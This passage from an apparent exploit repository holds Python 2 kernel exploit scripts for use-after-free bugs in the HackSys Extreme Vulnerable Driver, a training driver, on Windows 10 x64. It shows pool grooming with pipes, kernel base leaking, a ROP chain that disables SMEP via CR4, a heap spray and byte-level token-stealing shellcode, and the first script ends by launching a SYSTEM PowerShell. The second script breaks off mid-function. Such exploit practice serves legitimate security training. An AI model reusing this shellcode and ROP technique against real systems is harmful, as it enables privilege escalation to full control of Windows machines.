x5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn'
177 |     
178 |     if not rop:
179 |         spray_data = pattern
180 |     else:
181 |         spray_data = 'A' * 7568 + rop + 'B' * (0x2000 - 7568 - len(rop))
182 |     
183 |     spray_buffer = alloc_buffer(spray_data)
184 |     
185 |     return spray_buffer
186 | 
187 | def resolve_api(dll_name, proc_name):
188 |     '''
189 |     resolve API
190 |     '''
191 |     windll.kernel32.LoadLibraryA.argtypes = [LPCSTR]
192 |     windll.kernel32.LoadLibraryA.restype = HANDLE
193 |     
194 |     windll.kernel32.GetProcAddress.argtypes = [HANDLE, LPCSTR]
195 |     windll.kernel32.GetProcAddress.restype = LPVOID
196 |     
197 |     hDll = windll.kernel32.LoadLibraryA(dll_name)
198 |     if not hDll:
199 |         print '[-] Failed to load library: %s' % dll_name
200 |         return None
201 |     else:
202 |         print '[+] DLL loaded: %s at 0x%016x' % (dll_name, hDll)
203 |         proc = windll.kernel32.GetProcAddress(hDll, proc_name)
204 |         return proc
205 | 
206 | def build_adhoc_code(buff):
207 |     '''
208 |     build ad-hoc code
209 |     '''
210 |     NtMapUserPhysicalPages = resolve_api('ntdll', 'NtMapUserPhysicalPages')
211 |     DeviceIoControl = resolve_api('kernel32', 'DeviceIoControl')
212 |     if not NtMapUserPhysicalPages or not DeviceIoControl:
213 |         return None
214 |     
215 |     print '[+] NtMapUserPhysicalPages = 0x%016x' % NtMapUserPhysicalPages
216 |     print '[+] DeviceIoControl = 0x%016x' % DeviceIoControl
217 |     
218 |     bytes_retn = c_int(0)
219 |     magic_dword = c_uint(0xcafebabe)
220 |     code = ''
221 |     code += mov_r8(buff)
222 |     code += mov_rdx(0x400)
223 |     code += mov_rcx(0)
224 |     code += call_func(NtMapUserPhysicalPages)           # see http://j00ru.vexillium.org/?p=769
225 |     code += push_qword(0)
226 |     code += push_qword(addressof(bytes_retn))
227 |     code += push_qword(0)
228 |     code += push_qword(0)
229 |     code += mov_r9(4)
230 |     code += mov_r8(addressof(magic_dword))
231 |     code += mov_rdx(ioctl_UseUaFObject)
232 |     code += mov_rcx(hFile)
233 |     code += call_func(DeviceIoControl)                  # UseUaFObjectNonPagedPoolNxIoctlHandler
234 |     code += add_rsp(0x20)                               # clear stack args
235 |     code += retn()
236 |     
237 |     code_buffer = alloc_buffer(code)
238 |     
239 |     return code_buffer
240 | 
241 | def open_device():
242 |     '''
243 |     (re)open vulnerable device
244 |     '''
245 |     global hFile
246 |     
247 |     if hFile > 0:
248 |         windll.kernel32.CloseHandle(hFile)
249 |     
250 |     hFile = windll.kernel32.CreateFileA(
251 |         device_name,
252 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
253 |         0x00000001,                                     # FILE_SHARE_READ
254 |         0,                                              # NULL
255 |         3,                                              # OPEN_EXISTING
256 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
257 |         0)                                              # NULL
258 |     
259 |     if hFile == -1:
260 |         print '[-] Failed to open device: %s' % device_name
261 |         return False
262 |     else:
263 |         #print '[+] Device opened successfully: %s' % device_name
264 |         return True
265 | 
266 | def call_AllocateUaFObject():
267 |     '''
268 |     DeviceIoControl wrapper
269 |     '''
270 |     open_device()
271 |     bytes_retn = c_ulong(0)
272 |     
273 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
274 |     windll.kernel32.DeviceIoControl.restype = BOOL
275 |     
276 |     windll.kernel32.DeviceIoControl(
277 |         hFile,
278 |         ioctl_AllocateUaFObject,
279 |         struct.pack('<L', 0xcafebabe),
280 |         4,
281 |         0,
282 |         0,
283 |         byref(bytes_retn),
284 |         0)
285 | 
286 | def call_FreeUaFObject():
287 |     '''
288 |     DeviceIoControl wrapper
289 |     '''
290 |     open_device()
291 |     bytes_retn = c_ulong(0)
292 |     
293 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
294 |     windll.kernel32.DeviceIoControl.restype = BOOL
295 |     
296 |     windll.kernel32.DeviceIoControl(
297 |         hFile,
298 |         ioctl_FreeUaFObject,
299 |         struct.pack('<L', 0xcafebabe),
300 |         4,
301 |         0,
302 |         0,
303 |         byref(bytes_retn),
304 |         0)
305 | 
306 | def call_AllocateFakeObject(data):
307 |     '''
308 |     DeviceIoControl wrapper
309 |     '''
310 |     open_device()
311 |     bytes_retn = c_ulong(0)
312 |     
313 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
314 |     windll.kernel32.DeviceIoControl.restype = BOOL
315 |     
316 |     windll.kernel32.DeviceIoControl(
317 |         hFile,
318 |         ioctl_AllocateFakeObject,
319 |         alloc_buffer(data),
320 |         len(data),
321 |         0,
322 |         0,
323 |         byref(bytes_retn),
324 |         0)
325 | 
326 | def groom_pool(n):
327 |     '''
328 |     groom nonpaged pool
329 |     '''
330 |     num_holes = n / 4
331 |     print '[+] Allocating 0x%x objects' % n
332 |     
333 |     windll.kernel32.CreatePipe.argtypes = [POINTER(HANDLE), POINTER(HANDLE), LPVOID, DWORD]
334 |     windll.kernel32.CreatePipe.restype = BOOL
335 |     
336 |     windll.kernel32.WriteFile.argtypes = [HANDLE, LPVOID, DWORD, POINTER(DWORD), LPVOID]
337 |     windll.kernel32.WriteFile.restype = BOOL
338 |     
339 |     buff_size = 0x70 - 0x48
340 | 
341 |     handles = []
342 |     for i in xrange(n):
343 |         rpipe  = HANDLE(0)
344 |         wpipe = HANDLE(0)
345 |         windll.kernel32.CreatePipe(
346 |             byref(rpipe),
347 |             byref(wpipe),
348 |             0,
349 |             buff_size)
350 |         
351 |         bytes_written = c_ulong(0)
352 |         windll.kernel32.WriteFile(
353 |             wpipe,
354 |             alloc_buffer('A' * buff_size),
355 |             buff_size,
356 |             byref(bytes_written),
357 |             0)
358 |         
359 |         if i > n - num_holes * 2:
360 |             handles.append((rpipe, wpipe))
361 | 
362 |     print '[+] Creating 0x%x holes' % num_holes
363 |     
364 |     # we need holes of size 0x70
365 |     for h in handles[::2]:
366 |         windll.kernel32.CloseHandle(h[0])
367 |         #windll.kernel32.CloseHandle(h[1])
368 | 
369 | def get_kernel_base():
370 |     '''
371 |     find base address of the kernel via EnumDeviceDrivers
372 |     '''
373 |     array = c_ulonglong * 0x400
374 |     addr = array()
375 |     
376 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
377 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
378 |     
379 |     res = windll.psapi.EnumDeviceDrivers(
380 |             cast(byref(addr), POINTER(LPVOID)),
381 |             sizeof(addr),
382 |             byref(c_ulong(0)))
383 |     if not res:
384 |         return None
385 |     
386 |     # Kernel is the first entry of the result
387 |     return addr[0]
388 | 
389 | def break_code():
390 |     import time
391 |     time.sleep(0.5)
392 |     windll.kernel32.DebugBreak()
393 | 
394 | if __name__ == '__main__':
395 |     if not open_device():
396 |         sys.exit(1)
397 |     
398 |     print '[+] Grooming Kernel Pool'
399 |     
400 |     groom_pool(0x20000)
401 |     
402 |     print '[+] Allocating UaF object'
403 |     
404 |     call_AllocateUaFObject()
405 |     
406 |     print '[+] Freeing UaF object'
407 |     
408 |     call_FreeUaFObject()
409 |     
410 |     base_addr = get_kernel_base()
411 |     if not base_addr:
412 |         print '[-] Failed to obtain Kernel base'
413 |         sys.exit(1)
414 |     print '[+] Kernel base address: 0x%016x' % base_addr
415 |     
416 |     shellcode_addr = alloc_buffer(shellcode())
417 |     if not shellcode_addr:
418 |         print '[-] Failed to allocate shellcode'
419 |         sys.exit(1)
420 |     print '[+] Shellcode allocated at 0x%016x' % shellcode_addr
421 |     
422 |     fake_obj = ''
423 |     fake_obj += struct.pack('<Q', base_addr + 0x21d754) # add rsp, 0x98; ret;
424 |     fake_obj += 'A' * 0x50
425 |     
426 |     print '[+] Allocating fake objects'
427 |     
428 |     for i in xrange(0x8000):
429 |         # cause memory leaks...
430 |         call_AllocateFakeObject(fake_obj)
431 |     
432 |     ropchain = build_ropchain(base_addr, shellcode_addr)
433 |     spray_buffer = alloc_spray(ropchain)
434 |     code_buffer = build_adhoc_code(spray_buffer)
435 |     
436 |     print '[+] Ad-hoc code alloced at: 0x%016x' % code_buffer
437 |     
438 |     print '[+] Executing ad-hoc code'
439 |     
440 |     WINFUNCTYPE(None)(code_buffer)()
441 |     
442 |     # Got SYSTEM shell?
443 |     import os
444 |     os.system("powershell.exe")
445 |     
446 | 


--------------------------------------------------------------------------------
/Windows 10 v1703 x64/UseAfterFree_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 UseAfterFree exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | from ctypes.wintypes import *
 10 | 
 11 | ioctl_AllocateUaFObject = 0x222013
 12 | ioctl_UseUaFObject = 0x222017
 13 | ioctl_FreeUaFObject = 0x22201B
 14 | ioctl_AllocateFakeObject = 0x22201F
 15 | 
 16 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 17 | hFile = None
 18 | 
 19 | def pusha():
 20 |     '''
 21 |     alernative to pusha on x86
 22 |     '''
 23 |     # assembled with metasm
 24 |     code = ''
 25 |     code += '\x50'                                      # push rax
 26 |     code += '\x53'                                      # push rbx
 27 |     code += '\x51'                                      # push rcx
 28 |     
 29 |     return code
 30 | 
 31 | def popa():
 32 |     '''
 33 |     alternative to popa on x86
 34 |     '''
 35 |     # assembled with metasm
 36 |     code = ''
 37 |     code += '\x59'                                      # pop rcx
 38 |     code += '\x5b'                                      # pop rbx
 39 |     code += '\x58'                                      # pop rax
 40 |     
 41 |     return code
 42 | 
 43 | def shellcode():
 44 |     '''
 45 |     token stealing shellcode
 46 |     '''
 47 |     # assembled with metasm
 48 |     # steal token
 49 |     code = ''
 50 |     code += pusha()
 51 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
 52 |     code += '\x48\x8b\x80\xb8\x00\x00\x00'              # mov rax,[rax+0xb8]        ; 0xB8  = offset nt!_KTHREAD.ApcState.Process
 53 |     code += '\x48\x89\xc3'                              # mov rbx,rax
 54 |     code += '\x48\x8b\x9b\xe8\x02\x00\x00'              # mov rbx,[rbx+0x2e8]       ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 55 |     code += '\x48\x81\xeb\xe8\x02\x00\x00'              # sub rbx,0x2e8
 56 |     code += '\x48\x8b\x8b\xe0\x02\x00\x00'              # mov rcx,[rbx+0x2e0]       ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
 57 |     code += '\x48\x83\xf9\x04'                          # cmp rcx,4
 58 |     code += '\x75\xe5'                                  # jnz $-0x19
 59 |     code += '\x48\x8b\x8b\x58\x03\x00\x00'              # mov rcx,[rbx+0x358]       ; 0x358 = offset nt!_EPROCESS.Token
 60 |     code += '\x48\x89\x88\x58\x03\x00\x00'              # mov [rax+0x358],rcx
 61 |     code += popa()
 62 |     # recover rsp
 63 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
 64 |     code += '\x48\x8b\x40\x38'                          # mov rax,[rax+0x38]        ; 0x38  = offset nt!_KTHREAD.StackBase
 65 |     code += '\x48\x2d\x58\x08\x00\x00'                  # sub rax,0x858
 66 |     code += '\x48\x89\xc4'                              # mov rsp,rax
 67 |     code += '\xc3'                                      # ret
 68 |     
 69 |     return code
 70 | 
 71 | def alloc_buffer(data):
 72 |     '''
 73 |     alloc buffer and copy data
 74 |     '''
 75 |     windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD]
 76 |     windll.kernel32.VirtualAlloc.restype = LPVOID
 77 |     
 78 |     buffer = windll.kernel32.VirtualAlloc(
 79 |         0,
 80 |         len(data),
 81 |         0x00003000,                                     # MEM_COMMIT | MEM_RESERVE
 82 |         0x40)                                           # PAGE_EXECUTE_READWRITE
 83 |     
 84 |     memmove(buffer, data, len(data))
 85 |     
 86 |     return buffer
 87 | 
 88 | def build_ropchain(kernel_base, shellcode_addr):
 89 |     '''
 90 |     trampoline to shellcode
 91 |     '''
 92 |     chain = ''
 93 |     chain += struct.pack('<Q', kernel_base + 0xb0b63)   # mov rsp, r11; pop r15; ret;
 94 |     chain += struct.pack('<Q', kernel_base + 0x597b)    # pop rcx; ret;
 95 |     chain += struct.pack('<Q', 0x506f8)                 # rcx
 96 |     chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
 97 |     chain += struct.pack('<Q', shellcode_addr)
 98 |     
 99 |     return chain
100 | 
101 | def open_device():
102 |     '''
103 |     (re)open vulnerable device
104 |     '''
105 |     global hFile
106 |     
107 |     if hFile > 0:
108 |         windll.kernel32.CloseHandle(hFile)
109 |     
110 |     hFile = windll.kernel32.CreateFileA(
111 |         device_name,
112 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
113 |         0x00000001,                                     # FILE_SHARE_READ
114 |         0,                                              # NULL
115 |         3,                                              # OPEN_EXISTING
116 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
117 |         0)                                              # NULL
118 |     
119 |     if hFile == -1:
120 |         print '[-] Failed to open device: %s' % device_name
121 |         return False
122 |     else:
123 |         #print '[+] Device opened successfully: %s' % device_name
124 |         return True
125 | 
126 | def call_AllocateUaFObject():
127 |     '''
128 |     DeviceIoControl wrapper
129 |     '''
130 |     open_device()
131 |     bytes_retn = c_ulong(0)
132 |     
133 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
134 |     windll.kernel32.DeviceIoControl.restype = BOOL
135 |     
136 |     windll.kernel32.DeviceIoControl(
137 |         hFile,
138 |         ioctl_AllocateUaFObject,
139 |         struct.pack('<L', 0xcafebabe),
140 |         4,
141 |         0,
142 |         0,
143 |         byref(bytes_retn),
144 |         0)
145 | 
146 | def call_UseUaFObject():
147 |     '''
148 |     DeviceIoControl wrapper
149 |     '''
150 |     open_device()
151 |     bytes_retn = c_ulong(0)
152 |     
153 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
154 |     windll.kernel32.DeviceIoControl.restype = BOOL
155 |     
156 |     windll.kernel32.DeviceIoControl(
157 |         hFile,
